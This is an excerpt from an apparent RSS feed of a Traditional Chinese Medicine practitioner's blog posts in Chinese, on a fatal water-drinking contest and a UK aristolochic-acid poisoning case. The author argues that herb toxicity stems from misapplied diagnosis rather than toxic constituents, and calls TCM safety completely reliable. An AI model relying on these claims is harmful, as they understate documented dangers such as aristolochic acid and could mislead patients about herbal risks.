“勿不及”的學術思維，喝水如此，吃藥亦如此；休息如此，運動亦如此；人類的所有活動都應該順應“中庸之道”的自然規律，拒絕過度開發的商業行爲。只有遵循自然規律，人類的生存、身體的健康纔有可能得到保障，任何違背自然規律的行爲只會給自己、給人類造成相應的傷害。 筆者以爲，順應“中庸之道”的思維與言行應該得到世界的普遍認同，順應大自然的規律如此，順應身體與生命的規律也是如此，順應學術的專業規律更應該如此，只有順應了規律，才能夠真正達到“天人相應”的和諧狀態，才能夠真正有益於健康與生命，任何不尊重大自然規律的言行都應該受到譴責與排斥。 同樣的道理，作爲一門自然學科，中醫學說有著自己的學術理論，並能夠依據學術理論有效地指導臨床治病，在某些方面甚至能夠取得高於西醫的臨床療效，對於這樣一種極具生命力的醫學學科，同樣應該尊重其學術規律，而不應該將其“科學化”、“現代化”、“西醫化”，更不應該以各種藉口、並通過不正當的權力來強行肢解中醫的傳統學術理念、以及廢絕中醫事業。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
据報道，前者加州沙加緬度28歲婦女珍妮佛•李•史崔奇（Jennifer Lea Strange）在參加廣播電臺舉辦的喝水比賽中由於喝水過量導致急性水中毒而死亡，沙加緬度高等法院陪審團裁定沙加緬度娛樂通訊公司負有不可推卸的責任，應該賠償死者家人1657萬7118元。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
水中毒導致人死亡的概念是很難被人們接受的，因爲水對於人體實在是太重要了。我們知道，人的身體中所佔比重最大的成分就是水，所以說人不能離開水；一段時間不吃東西人體尚能存活；如若在相同的時間之内得不到水的補充，人體就會出現衰竭而死亡。<br />
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在電臺2007年舉辦的任天堂Wii電玩機贈獎喝水比賽中，珍妮佛總共喝下2加侖的水。在領到獎品之後，她的臉色變得慘白，雙眼充滿著淚水，她哭著打電話告訴同事，說自己頭痛欲裂、反胃慾嘔，無法上班；隨後人們發現她死在家中的床上。據説住在勝利谷（Victorville）的男子大衛•葛羅斯（Dave Gross）也曾於2006年參加過廣播電臺舉辦的喝水比賽，獲勝之後也大病一場，所幸沒有送命。<br />
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顯然，珍妮佛過量飲水、中毒死亡的悲劇在於人們不懂得過量飲水有可能給予身體以致命傷害的道理，他們只是錯以爲水既無毒、多飲應該無所謂，頂多只會使肚子脹一會兒而已，排出去就沒事了。前段時間，有人經常鼓吹早上起床之後讓自己多喝幾大杯水，以爲這樣可以幫助排除身體内部的毒素。<br />
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事實上這種説法並不符合人體的客觀規律。其一，人體的本身就具有一套完整的排毒系統，在正常的生理條件之下，根本就無需通過大量飲水來刻意排毒。其實最好的排毒方法就是維持機體自身的排毒功能，這需要使自己保持正常的生活規律才能做得到。其二，對於身體來説，只有在身體處於需要的狀況之下，適量補充水分才屬於正確的選擇，那種刻意大量飲水的做法只會人爲地、不必要地加重腎臟、以及其它臟腑組織器官的負擔。<br />
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我們知道，在正常情況之下人的身體具有非常有效的相應協調性能。譬如當你的身體處於濕邪困脾的狀態時，你就會感受到口味不佳，嘔惡，不慾食等不適感覺，此時的你如若勉強吃飯、也會自然而然地想吃點辣椒之類的重口味食物。<br />
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當你的身體處於脾腎陰虛之時，你就會感覺到口渴，此時你自然就會出現想喝水的願望。而且，當你的身體處於熱性體質狀態時，你就會想喝涼水、冰水；當你的身體處於寒性體質狀態時，你就會想喝溫水、熱水。所以說，當你處於暫時還不存在喝水願望的時候，刻意地強迫自己大量喝水的做法是不可取的，因爲這樣做違背著自己身體本身的自然調節規律。<br />
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水中毒的死亡案例給了我們許多的提示。首先它告誡我們，拿出自己寶貴的身體與生命作爲賭注是非常不值得的；喝水比賽如此，那種所謂的“大胃王”比賽也是如此，那些挑戰生存極限、運動極限的比賽更是如此。我們應該認識到，即使博得這種比賽的世界冠軍又怎麽樣，到頭來縱然沒有失去生命，由此而導致的身體傷痛也將會折磨自己一輩子，完全可以説是得不償失。<br />
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水中毒的死亡案例還提示我們，如若使用不當，任何食物（無論其有毒與無毒）都有可能傷害到人體、乃至生命，更不用説那些用來治病的中藥。目前，對於不當使用中藥會導致中毒的問題，由於缺乏專業知識的認知，許多人都存在食用沒有毒性的食物與中藥不會對身體造成傷害的觀念。<br />
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這種觀念當然是極端錯誤的。依據中醫的學術理論，有可能給身體造成傷害的東西並不一定在於其是否含有什麽毒性成分、而主要在是否適用於你身體的問題。同時，對於有毒食物與藥品的食用，人們一般都會特別警惕，而對於不含毒性成分的食物與藥品、人們則往往會忽視其對於身體的危害性。<br />
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這個問題的存在實在是太普遍了。譬如：現代人最爲擔心、也很容易患上的高血脂、高膽固醇等疾病的產生，就是由於患者長期飲食不當所導致而出現的慢性中毒。事實上，目前飲食習慣的“現代化”正在嚴重地危害著人類，這種不良的生活習慣正在慢慢地消耗掉人類的身體素質。<br />
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我們知道，現代人飲食的常態就是早餐基本上不吃，中餐隨便混一下，晚上回到家裏與家人團聚一起吃大餐、有時甚至還要宵個夜。顯然，這種飲食習慣對於人體的傷害是很大的。<br />
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早、中餐不吃好，你一天工作所消耗的能量從何而來？如若沒有適量進食，肯定就只會消耗掉身體自身原有的健康儲蓄。而在晚上並不需要消耗大量能量的情況之下，進食大餐的結果必然會導致機體營養過剩；況且到了晚上，機體胃腸的消化、吸收能力一般都處於較弱的狀態，故而晚餐所進的大量食物大多數都會變成爲垃圾而堆積在體内，使得身體出現高血脂、高膽固醇狀態。似此，無毒的食物也就變成了慢性毒藥而不斷地傷害著人體。<br />
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所以說，不當地使用無毒的食物與藥品都會傷害到人體。事實上無毒的米麵同樣也可以成爲殺人的毒藥，這是許多人都知道的常識。譬如對於過度飢餓的人來説，飽食米麵的後果必然會導致死亡；也就是說，對於過度飢餓的人來説，過多的食物就是可能會導致死亡的毒物。<br />
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所以說，食物與藥品有毒無毒應該不是問題的主因，日常生活中所出現的中毒問題基本上都屬於使用不當所導致。事實上，人們對待中藥中毒問題的觀念同樣也存在著類似的不恰當偏見，前者不少中藥中毒的臨床案例常常被某些有心人士大炒熱炒，毫無道理地將中藥中毒的主要責任完全歸咎於中藥的毒性問題，一時間曾被他們閙到人們一聽到需要服用中藥就會感到害怕。<br />
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依據這些人對待中藥中毒的邏輯思維來看，這類死亡案例的責任不應該追究其食用方式是否得當，而只應該追究這些中藥是否含有毒性、是否存在變質等問題。如若依據這種邏輯，珍妮佛•李•史崔奇水中毒的問題也只應該在水的毒性問題上打圈圈，而不應該追究喝水比賽舉辦者的責任。<br />
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顯然，這是一種非常不切實際的思維邏輯，如若僅從毒性成分的角度來分析，他們當然不可能找到正確的答案與解決方法。人們常常注意到，許多人在盲目地服用人參、白木耳、冬蟲夏草等中藥之後，不但沒有達到培補身體的初衷，反而會導致出現各種相應的不適反應。事實上，無毒的中藥出現中毒反應的道理也很簡單，屬於中醫關於“藥不對證”而中毒的學術範疇。<br />
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我們知道，水是用來補充身體水分缺乏的，過量有可能導致死亡；而中藥屬於中醫師臨床治病的藥物，因而也只能依據“四氣”“五味”的中醫學術規律來認知，只能依據中醫臨床診治疾病的“辨證論治”學術規律來使用，任何違背上述學術規律來使用中藥的結果，極有可能出現藥物中毒現象。<br />
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此外，由於人們沒有將中醫學說當成一門獨特的醫學來認識，所以常常將西醫的學術理念用來指導中藥的臨床使用，其結果必然導致中藥中毒醫療事故的發生。譬如前者發生在比利時的某西醫師亂用中藥減肥而導致多人腎衰竭、一人死亡的嚴重醫療事故，人們在看待這個問題時，只願意將中藥的毒性作爲中毒的主因，而不願意去追究肇事元兇&#8212;-不依據中醫藥學術規律使用中藥的問題。<br />
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這是一個普遍存在的問題，中國大陸許多中草藥被製成注射劑型而使用於臨床，不斷地出現中毒死亡的醫療事故，可是相關部門卻只願意從這些製劑是否被污染的角度來看，而不願意追究其肇事主因&#8212;&#8212;“中藥西用”的問題。<br />
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人們都知道，西藥主要源於人工合成，而中藥主要源於自然生成，這些動物、植物、礦物類東西被中醫師用於臨床治病，那麽它就成爲中藥；如若不然，這些東西也就只是大自然中的一些動物殘骸、野果雜草、石頭化石之類的東西。<br />
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對於這樣一些東西，如若在依據中醫藥學術原理的使用過程中出現問題，那麽可以認爲那是屬於中醫藥本身的毒性問題；而該西醫生擅自將其拿去做成減肥的“苗條丸”胡亂使用，給人減肥而導致病人死傷，這與中醫藥有什麽關係呢？<br />
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所以說，如若中藥中毒屬於非中醫業者自己胡亂使用，其責任當然不應該歸罪中醫中藥；如若中藥中毒屬於中醫師臨床治病所導致的問題，那當然就應該追究中醫師個人的法律責任，正如近期在英國發生的“中醫師”吳英而遭到法律起訴案件，吳某身為中醫業者，卻不依據中醫藥學術規律亂用中藥、從而導致患者出現腎衰竭、膀胱腫瘤的醫療事故（詳見拙文《法律的警示》）。<br />
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顯然，這種不去追究中藥的管理與使用的現象是極不正常的，某些人在不懂得尊重中醫學說學術規律的前提下，將幾乎所有的中藥都用西藥的成分分析方式來理解與對待，甚至給麥門冬這樣的一類中藥都冠以含有毒性成分的標簽，這種做法既可以説是莫名其妙，同時也嚴重地傷害著人們使用中藥治病的權利。<br />
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對於上述水中毒死亡的案例，西醫學術理論認爲，雖然水不含毒性成分，但是喝水太多會造成血液中的鈉離子稀釋，導致電解質失調，造成腦部腫脹、心跳停止。水中毒的症狀包括頭痛、眼花、噁心、全身無力等等。<br />
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雖然西醫能夠依據其學術理論中剖析出水中毒的病理，但是水的分子結構H2O實在是太簡單不過，比較容易得出相關的學術結論。如若面對複雜的中藥有機分子結構，採用毒性成分的學術理念、或許就不那麽容易做出相應的病例分析。況且，對於中醫藥關於“藥不對證”而中毒的相對毒性理論，是根本就無法借用西醫藥學術理論來詮釋的，因爲許多中藥都和水一樣，並不一定含有西醫所認定的毒性成分。<br />
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所以說，將中藥飲片西醫化爲“有效成分”與“毒性成分”的做法是徒勞無功的，在臨床使用中藥治病的過程中，傳統中醫師一般只會依據中藥的“四氣”、“五味”等特性來辨證用藥，而西醫師也無法依據中藥的成分分析結論來指導使用中藥，故而筆者會認爲將中藥“成分化”毫無意義。<br />
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由此可以看出，中藥不是西藥，中醫師臨床使用中藥並不需要關注中藥含有哪些毒性成分，所需要的只是在用藥之時、必須嚴格遵循中醫關於對證的學術規律。所謂對證其實很簡單，就是寒藥治熱病，熱藥治寒病；補藥治虛證，瀉藥治實證，以及表藥治表證等用藥法則；如若未能遵循上述用藥規律，即可稱之為藥不對證。<br />
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上述中醫學術規律既適用於含有所謂毒性成分的中藥，同樣也適合於不含所謂毒性成分的中藥，許多人不恰當地服用人參、白木耳、冬蟲夏草而導致中毒的案例都能夠證實這個問題。顯然，如若依據西藥有效成分的藥理來分析，上述中藥的本身並不含有所謂的毒性成分，所以這類中毒案例就如同上述水中毒一樣地不可思議。<br />
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如若運用中醫藥的學術理念，這類無毒中藥中毒的案例就很容易理解了。正如前述例證，中醫臨床對於中醫理論所認定的熱性體質患者的治療，一般都應該使用寒性藥物，如若此時不當地使用熱性藥物，則無異於火上加油，必然會加重患者的熱性體徵而出現中毒反應。<br />
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由此可以看出，如同西藥一樣，中藥中毒的主要問題應該歸咎於使用不當，也就是說在使用中藥時沒有尊重中醫學說的用藥規律；這個問題同時也提醒我們應該加強中藥“專藥專用”的管理措施，以杜絕中藥中毒事故的頻繁發生。<br />
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綜上所述，我們應該重視水中毒案例給我們的警示，因爲這個警示是多方面的。說句實話，拿自己最寶貴的身體與生命來博取那點獎品之類的做法是非常不明智的。而且，舉辦以有可能傷害到參賽者身體與生命的任何超越極限的比賽活動來促進商業效應的做法都是不道德的，應該予以堅決抵制與禁止。<br />
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事實上，類似的超量比賽一直都在進行，譬如所謂的“大胃王”比賽、生存極限比賽、運動極限比賽等等。可以說，所有類似的比賽都只是商業行爲，根本就沒有尊重人體的正常生命規律，因而必然會給參賽者帶來相應的身體傷害。<br />
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筆者曾經觀看過許多超越極限的運動，每當看到當事者的身體受到嚴重撞擊的時候，筆者就會自然而然地想到若干年之後這些人身上所必然出現的痛苦神情，心中總是一陣陣發緊，希望能夠勸阻他們不要將自己寶貴的身體當作賭注的籌碼。筆者當然知道自己是在杞人憂天，在物欲橫流的社會中，不會有多少人能夠聼得進筆者幾近迂腐的學究聲音。<br />
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不過我們應該懂得，世界上的任何事物都存在著自己的規律，刻意違背規律的結果，必然會受到相應的懲罰。譬如科學的發展導致人們對於商業利潤的重視，過度的掠奪性開發有可能導致全球氣候、地理環境的極大惡化，除了導致冰川融化、大量吞食陸地面積之外，還使得自然災害頻頻發生，嚴重地危害著人類的生存。而今，許多聰明人終於警覺到世界的沒落，他們也都正在大聲疾呼保護環境的重要性。<br />
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在現代社會中，類似的思維實在是太普遍了，舉不勝舉，西藥的大量使用也是這樣。譬如過度地依賴激素治病，除了帶給人體器官組織造成相應的傷害之外，還會使得兒童的發育出現異常，嚴重地影響到人類的繁衍。抗生素也是這樣。濫用的結果，除了催生大量的抗藥病原體（包括病毒、細菌等）之外，還會使得患者體内的有益菌群大量死亡；而且相關報導顯示，上述藥物的污染甚至已經影響到南極洲。顯然，上述西藥的使用及其副作用、也都嚴重地違背著身體與大自然的正常規律。<br />
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在人類的思維中，急功近利常常屬於許多人的第一選擇，因而進行掠奪式地開採基本上已經成爲社會的主流，其開採的對象包括人的身體、名聲、倫理、道德等等，當然包括世界上一切具有商業價值的東西。<br />
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從上述論述中，筆者對於中醫藥的學術規律似乎有了更深一點的認知。筆者以爲，所謂中醫，並非專指“中國的醫學”，因爲中國的醫學實在太多，不同的民族都有著自己的醫學，譬如藏醫、蒙醫、壯醫、苗醫等等，所以這種説法並不貼切。如若從學術的角度來看，中醫的稱呼應該理解為“中庸之醫”，即維繫身體陰陽平衡、五行相生相剋正常生理狀態的醫學。<br />
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既為中庸，則必然強調“勿太過”，也 “勿不及”的學術思維，喝水如此，吃藥亦如此；休息如此，運動亦如此；人類的所有活動都應該順應“中庸之道”的自然規律，拒絕過度開發的商業行爲。只有遵循自然規律，人類的生存、身體的健康纔有可能得到保障，任何違背自然規律的行爲只會給自己、給人類造成相應的傷害。<br />
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筆者以爲，順應“中庸之道”的思維與言行應該得到世界的普遍認同，順應大自然的規律如此，順應身體與生命的規律也是如此，順應學術的專業規律更應該如此，只有順應了規律，才能夠真正達到“天人相應”的和諧狀態，才能夠真正有益於健康與生命，任何不尊重大自然規律的言行都應該受到譴責與排斥。<br />
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同樣的道理，作爲一門自然學科，中醫學說有著自己的學術理論，並能夠依據學術理論有效地指導臨床治病，在某些方面甚至能夠取得高於西醫的臨床療效，對於這樣一種極具生命力的醫學學科，同樣應該尊重其學術規律，而不應該將其“科學化”、“現代化”、“西醫化”，更不應該以各種藉口、並通過不正當的權力來強行肢解中醫的傳統學術理念、以及廢絕中醫事業。</span></p>
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		<title>法律的警示</title>
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		<pubDate>Mon, 03 May 2010 02:27:31 +0000</pubDate>
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		<description><![CDATA[華夏中醫 吳侃陽中醫師 近期，筆者看到關於身為中醫師的英國女子吳英（YING WU）亂用中藥而導致患者腎衰竭、尿路癌症等疾病而被法庭裁定有罪的相關報道，心中不勝感慨。既為這位身為中醫師、而又不懂得中醫用藥規律者觸犯法律而惋惜，又為中醫專業隊伍某些中醫業者對於傳統專業學術知識的生疏而感到擔憂。 事實上，這是一例較爲典型中藥中毒事故，事故的肇事者是一位掛著中醫師招牌的醫者。不過筆者以爲，如此説是一名醫者，倒不如說其是一位商者，因爲作爲一名中醫業者，她並不懂得中醫藥的使用規律；而作爲一位商者，她懂得利用中醫師的招牌進行欺詐、賺取一位粉刺患者5年的醫療費用。 依據相關報導說，吳某從1997年開始，就讓58歲的患者布斯女士連續5年長期服用含有馬兜鈴酸成分的中藥，從而導致患者身體出現上述傷害。 “庸醫殺人”是中國文化中嘲笑那些江湖郎中的專門詞彙，既然連最起碼的中醫藥基礎學術知識都不具備，就不應該以中醫師的身份來行醫。因而這類不具備行醫水準而冒然行醫者，猶如殺人越貨之徒，當然不可以輕縱；否則，既對不起受到傷害的患者，也對不起廣大的中醫業者，更無法阻止類似的中藥中毒事故的持續發生。 作爲中醫業者，筆者對於這件事故的發生是相當痛心的，它所導致的餘波絕非僅僅只是涉及吳某一個人，其對於整個中醫事業必然會導致較大的損傷。筆者之所以願意在此花費時間與精力探討這件事情並非試圖為吳某個人辯護與解脫，筆者以爲，對於吳某所導致的醫療事故問題，法律會給她一個懲罰的公道，會讓她明白“醫商”之路是隨意行走不得的。 “醫”就是“醫”，“商”就是“商”；商人以牟利為主，醫生則只能以治病救人爲主。吳某之所以會發生上述醫療事故，應該歸咎於她個人的醫道與人品、以及她的學術修為。事件的本身清楚地顯示出，吳某從事中醫師工作的宗旨或許只是想當個“醫商”而已，因爲她的中醫學術知識是十分欠缺的。 我們僅以該案例所顯示的臨床療效來看，她在給患者治療面部粉刺時，要求患者以每日三次、每次30粒的劑量服藥，而且一用就是持續5年之久。可以說誰都知道，一個小小的痤瘡粉刺竟然需要長達5年的時間連續施治，這種臨床療效實在是令人難以恭維，筆者的確很難想像得出、這位“中醫師”與這位患者的耐性竟然會是如此之大。 一般來説，含有馬兜鈴酸的中藥無非就是木通、防己之類的藥物，這類中藥性寒，久服必傷人體陽氣，因而這類中藥只有在患者機體處於肝膽實熱病態證型爲患的狀態時方可適量運用。不過筆者以爲，對於中醫臨床來説“藥之害在醫不在藥”，木通、防己之類的中藥是否含有馬兜鈴的問題並不重要，重要的則是中醫臨床沒有吳某的這種治病用藥的方法。 臨床顯示，上述這些最基本的中醫臨床用藥規律吳某都沒有嚴格遵循，那麽她是如何履行一個中醫師的臨床醫學職能呢？筆者以爲，唯一合理的詮釋就是吳某只是以醫經商而已，如若她知道亂用中藥的後果會如此嚴重的話，她應該不會如此以身試法。 依據中醫[辨證論治]、“有是證，服是方”等學術理論，非但含有馬兜鈴酸的中藥如此，幾乎所有的中藥都是如此，即使屬於培補類中藥人參、冬蟲夏草等藥物，如若使用不當，一樣都會出現中毒反應。而作爲一位中醫師，吳某連[辨證論治]這些最起碼的學術規律都不懂、都不遵從，可想而知，其發生醫療事故的機率應該是非常高的，只不過只存在發生時間早晚的不同而已。 筆者以爲，醫生的崇高身份與職業道德非常重要，不應該容許金錢來褻瀆。身為中醫業者，我們必須了解自己所施用藥物的潛在危險，必須以維護患者身體健康為主要宗旨。因而從專業的角度來看，吳某起碼並不具備中醫臨床業者所需要具備的專業知識，其雖然具備合法的中醫行醫資格，但不能被稱做合格的中醫師。 而且吳某對於馬兜鈴酸中毒的新聞報導處之漠然的態度有點令人驚詫，可以說亂用中藥導致馬兜鈴酸中毒的臨床案例層出不窮，相關的新聞報導比比皆是。中國大陸關於不少人由於將龍膽瀉肝丸當作健康食品長期服用而導致出現腎衰竭的報導常常見於報刊雜誌，英國《探針》雜誌也曾經報導過某華人爲了預防與消除肝臟之毒、自行長期服用龍膽瀉肝丸5年，從而導致出現腎衰竭與膀胱腫瘤。 對於上述警訊吳某非但沒有引以爲戒，甚至竟然在臨床上毫不負責任地欺騙患者，她在廣告詞中信口雌黃，胡説什麽她所使用的這種藥物“安全和自然”。事實上我們中醫師都知道，任何一味中藥雖然源自於自然，但將其用於臨床治病必然存在一定的危險，如若運用不當，都有可能讓患者中毒；可以說如若使用者缺乏中醫藥知識的指導，中藥的使用不可能存在絕對的安全。 由於醫學學術認知的差異，中藥中毒的中醫學術規律常常不容易被人們所理解與認同，也正因爲如此，許多人都會以西藥的成分檢測標準來審視中藥，因而只要是出現中藥中毒事故，人們一般都會依照中藥所含毒性成分的規律來看待。 事實上，依據這種認知來使用中藥是比較危險的，尤其是使用那些並不具備毒性成分的中藥時，很多人往往都會由於存在這種錯誤的認知而放鬆警惕。筆者常常看到某些市井雜誌中依據西醫的藥理觀來分析中藥的藥理成分、及其所謂的養生功效，看後不禁既好笑、又好氣，其胡謅、誤人的程度的確令人擔心。 譬如他們在論及中藥羅漢果的功效時，說其所含糖分適合糖尿病患者食用，因而鼓吹人人都可常年服用而對於身體極爲有益。這些都是誤人之說，屬於極爲荒謬的[中西醫結合]論話語，如若人們不幸遵從這類不負責任的鬼話去做，只會損傷自己的身體。 中醫理論認爲，羅漢果味甘，具備清肺止咳，潤腸通便的功效，適用於乾咳、咽痛、便秘等熱性病態體徵；不過由於該藥性涼，如若用於寒性病態體質、或者健康者長期服用，必定傷其陽氣而罹患疾病。 如若勉強將中西醫學術概念牽強附會在一起來討論的話，Ⅰ型糖尿病患者多屬於陰虛體徵，尚可服用一段時間；而Ⅱ型糖尿病患者則多屬於陽虛體徵，久服既傷其陽氣，其滋潤陰液的作用還會導致患者越來越肥。 事實上，這樣一類荒謬的説辭頗爲多見，只要翻開相關中文雜誌，就可以看到許多這類“專家”如此誤導讀者；問題是這些似是而非的東西很符合現代人的口味，因而很容易迷惑某些渴望健康的消費者，從而使得他們莫名其妙地受到身體體質上的傷害。事實上，這類謬論基本上都屬於依據非中醫學術觀談論中醫藥，其站的角度本身就是錯誤的，故而可以稱其為違背醫學學術規律的誤人之說。 事實上，自然界絕大多數的中藥與食品都含有對於人體十分有益的成分，即使肥豬肉亦然；只不過要懂得辨別適不適合自己而已，如若適合，則為有益於身體的養生之品；如若不適合、甚至虛實、寒熱特性相反，則必然會對於身體產生負面作用。 而且依據中醫的學術理論，人的身體狀況時刻都是在變化著的，經過一段時間的中藥與食品的調節，機體的辨證體徵一定會發生相應的變化，此時的虛實、寒熱體徵是否適合於繼續原來的調節措施並不一定。 所以說，吳某給患者連續5年服用那種苦寒之品的做法嚴重地違背著中醫藥使用的學術規律；因而可以說，吳某由於並不具備中藥運用的基本知識，才會出現上述誤導患者而產生的醫療事故。 關於吳某案件的報導引述倫敦刑事法庭法官的話說：由於對中醫中藥安全性完全缺乏管理，所以沒有證據證明被告吳某當時了解這種藥物存在的潛在危險。由此可以認爲，吳某所導致的醫療事故應該有可能被認作為非蓄意傷人。 可以想象，在對簿法庭時，吳某當然不會承認自己存在蓄意欺騙問題，因爲那樣會將自己推向蓄意傷人的可怕法律程序；所以她會選擇自己並不懂得長期服用馬兜鈴酸會導致腎衰竭的學術規律這種非蓄意肇因。不過即便如此，她也無法擺脫自己不專業、不夠資格當一名中醫師的尷尬境地。 當然，西方法律的認知與中醫學術的認知相差很大，關於吳某的案件，法律只會以非法出售有毒藥物而導致患者中毒等方面來追究吳某的法律責任。顯然，西方的法律並沒有認同中醫為一門獨立的醫學體系，因而在西方人眼裏，中醫藥療法僅僅只是一種臨床治療方法、而中藥也只是屬於食品類管理的一些食物而已，故而銷售有毒中藥就等於違犯了食品管理法則，就是有罪。 因此西方法律條文與中醫學術認知之間存在著難以調和的差距。從法律的角度來説，吳某的罪責只是在於不應該銷售被禁有毒藥物而已，又由於被告不了解所用藥物的潛在毒性，因此只能予以輕罪論處。有鑒於此，筆者以爲，目前西方的法律還不足以應對中醫藥臨床所出現的許多問題，更無法杜絕中藥中毒事故的頻繁發生。 顯然，吳某的個案並非只有吳某一個人才會發生，我們每一位中醫師都應該從此案中認識到掌握中醫學術理論的重要性，尤其是在經過[中西醫結合]思維泛濫幾十年之後的今天，傳統的中醫藥學術理論被污染得較爲嚴重，因而將自己重新歸位而進入傳統的中醫藥學殿堂、是我們每一位致力於中醫事業的中醫業者畢生努力的最終目標。 正如前述，中醫的學術規律提示我們，中藥是否含有毒性成分的問題其實並不重要，而“藥不對證”的問題倒是導致不同程度中毒現象出現的主要原因，這個問題屬於中醫藥學説學術架構中無法迴避的重要問題。中藥雖然源自大自然，但中藥畢竟屬於中醫的臨床用藥，其使用必須依據[辨證論治]的中醫藥臨床治則，根本就不應該歸於食品類來管理。 當然，目前的西方法律無法認定中藥屬於藥物，因爲藥物的使用權只能歸屬於西醫醫生，其根本原因在於法律只認定西醫為醫學，而中醫僅僅只屬於“療法”而已。所以說只有爭取到中醫專業法定的學術地位，那麽，中醫藥療法才有可能成爲中醫專業所專用的治療方法，中藥也就理所當然地成爲中醫專業所專用的藥物，似此，中醫師使用中藥也就不存在“銷售有毒藥物”之類的罪責問題。 上述顯示，西方目前的法律認知遠遠落後於中醫專業的發展趨勢，因而這類法律的認知也不可能解決中藥中毒的臨床痼疾，可以想象到的結果還是中藥中毒的臨床事故頻頻發生；尤其是[中西醫結合]論的泛濫，人們多從西醫西藥的角度來奢談與看待中醫藥，因而必然會導致更多的中藥中毒事故的發生。 總而言之，我們應該從英國法律懲罰吳某的事件之中得到警示，由於缺乏相關的法律保護，中醫藥療法目前仍然還是游走在法律的邊緣，我們中醫業者很容易觸犯到西方的法律規範；只有謹守中醫的各種學術規範，中醫臨床才不會出現上述醫療事故問題。其實這個道理十分簡單，因爲中醫藥療法的學術規範不是某個人人爲制定出來的，而是前人幾千年來的臨床經驗總結，其安全性與有效性是完全可靠的。 吳某的個案表明，中藥中毒問題的根子依然還是在於中醫藥的管理，只有爭取到法律確認中醫藥醫學體系的學術地位，方為解決中藥中毒問題的根本之道。有了法律的地位，就能夠將中藥列爲中醫師的臨床專用藥物來管理，就能夠杜絕非中醫業者亂用中藥而導致中毒的現象發生；有了法律的規範，中醫業者的專業素質就能夠具備相當的保證，就能夠使得中醫師隊伍中減少像吳某這樣一類的“醫商”、從而出現更多名副其實的中醫大師；似此，患者的健康纔有保障，而發展中醫事業才不會是一句空話。]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><strong>華夏中醫 吳侃陽中醫師</strong><br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
近期，筆者看到關於身為中醫師的英國女子吳英（YING WU）亂用中藥而導致患者腎衰竭、尿路癌症等疾病而被法庭裁定有罪的相關報道，心中不勝感慨。既為這位身為中醫師、而又不懂得中醫用藥規律者觸犯法律而惋惜，又為中醫專業隊伍某些中醫業者對於傳統專業學術知識的生疏而感到擔憂。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
事實上，這是一例較爲典型中藥中毒事故，事故的肇事者是一位掛著中醫師招牌的醫者。不過筆者以爲，如此説是一名醫者，倒不如說其是一位商者，因爲作爲一名中醫業者，她並不懂得中醫藥的使用規律；而作爲一位商者，她懂得利用中醫師的招牌進行欺詐、賺取一位粉刺患者5年的醫療費用。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
依據相關報導說，吳某從1997年開始，就讓58歲的患者布斯女士連續5年長期服用含有馬兜鈴酸成分的中藥，從而導致患者身體出現上述傷害。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“庸醫殺人”是中國文化中嘲笑那些江湖郎中的專門詞彙，既然連最起碼的中醫藥基礎學術知識都不具備，就不應該以中醫師的身份來行醫。因而這類不具備行醫水準而冒然行醫者，猶如殺人越貨之徒，當然不可以輕縱；否則，既對不起受到傷害的患者，也對不起廣大的中醫業者，更無法阻止類似的中藥中毒事故的持續發生。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
作爲中醫業者，筆者對於這件事故的發生是相當痛心的，它所導致的餘波絕非僅僅只是涉及吳某一個人，其對於整個中醫事業必然會導致較大的損傷。筆者之所以願意在此花費時間與精力探討這件事情並非試圖為吳某個人辯護與解脫，筆者以爲，對於吳某所導致的醫療事故問題，法律會給她一個懲罰的公道，會讓她明白“醫商”之路是隨意行走不得的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
“醫”就是“醫”，“商”就是“商”；商人以牟利為主，醫生則只能以治病救人爲主。吳某之所以會發生上述醫療事故，應該歸咎於她個人的醫道與人品、以及她的學術修為。事件的本身清楚地顯示出，吳某從事中醫師工作的宗旨或許只是想當個“醫商”而已，因爲她的中醫學術知識是十分欠缺的。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
我們僅以該案例所顯示的臨床療效來看，她在給患者治療面部粉刺時，要求患者以每日三次、每次30粒的劑量服藥，而且一用就是持續5年之久。可以說誰都知道，一個小小的痤瘡粉刺竟然需要長達5年的時間連續施治，這種臨床療效實在是令人難以恭維，筆者的確很難想像得出、這位“中醫師”與這位患者的耐性竟然會是如此之大。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
一般來説，含有馬兜鈴酸的中藥無非就是木通、防己之類的藥物，這類中藥性寒，久服必傷人體陽氣，因而這類中藥只有在患者機體處於肝膽實熱病態證型爲患的狀態時方可適量運用。不過筆者以爲，對於中醫臨床來説“藥之害在醫不在藥”，木通、防己之類的中藥是否含有馬兜鈴的問題並不重要，重要的則是中醫臨床沒有吳某的這種治病用藥的方法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
臨床顯示，上述這些最基本的中醫臨床用藥規律吳某都沒有嚴格遵循，那麽她是如何履行一個中醫師的臨床醫學職能呢？筆者以爲，唯一合理的詮釋就是吳某只是以醫經商而已，如若她知道亂用中藥的後果會如此嚴重的話，她應該不會如此以身試法。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
依據中醫[辨證論治]、“有是證，服是方”等學術理論，非但含有馬兜鈴酸的中藥如此，幾乎所有的中藥都是如此，即使屬於培補類中藥人參、冬蟲夏草等藥物，如若使用不當，一樣都會出現中毒反應。而作爲一位中醫師，吳某連[辨證論治]這些最起碼的學術規律都不懂、都不遵從，可想而知，其發生醫療事故的機率應該是非常高的，只不過只存在發生時間早晚的不同而已。<br />
</span><span style="font-size: 11pt; font-family: 'Times New Roman'" lang="ZH-TW"><br />
